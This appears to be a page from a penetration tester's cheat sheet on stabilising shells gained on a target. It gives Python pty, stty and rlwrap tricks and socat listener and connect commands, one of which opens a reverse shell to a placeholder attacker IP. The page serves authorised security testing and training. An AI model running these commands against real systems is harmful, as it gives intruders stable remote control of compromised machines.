> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/shells/02-tty.md).

# TTY

## TTY

### Python (Linux)

1. Start bash shell via python

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
```

1. Gain access to term commands (such as `clear`)

```bash
export TERM=xterm
```

1. Enable tab autocompletion, arrow keys, CTRL + C to kill processes (instead of shell)

```bash
^Z
stty raw -echo; fg
```

### rlwrap (Linux & Windows)

1. Enables history, tab autocompletion and arrow keys

```bash
rlwrap nc -nlvp <port>
```

1. (linux only) Further stabilize shell (e.g. for CTRL+C)

```bash
^Z
stty raw -echo; fg
```

### Socat (Linux)

Download binaries and transfer to target.\
<https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86\\_64/socat>

Listener

```bash
socat TCP-L:<port> FILE:`tty`,raw,echo=0
```

Connect

```bash
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```

## Terminal configuration

Try to sync the terminal with the host, to ensure proper linebreaks etc.

**Get info (attacker machine)**

```bash
stty -a
```

**Configure (target machine)**

```bash
export TERM=xterm
stty rows <rows> columns <cols>
```
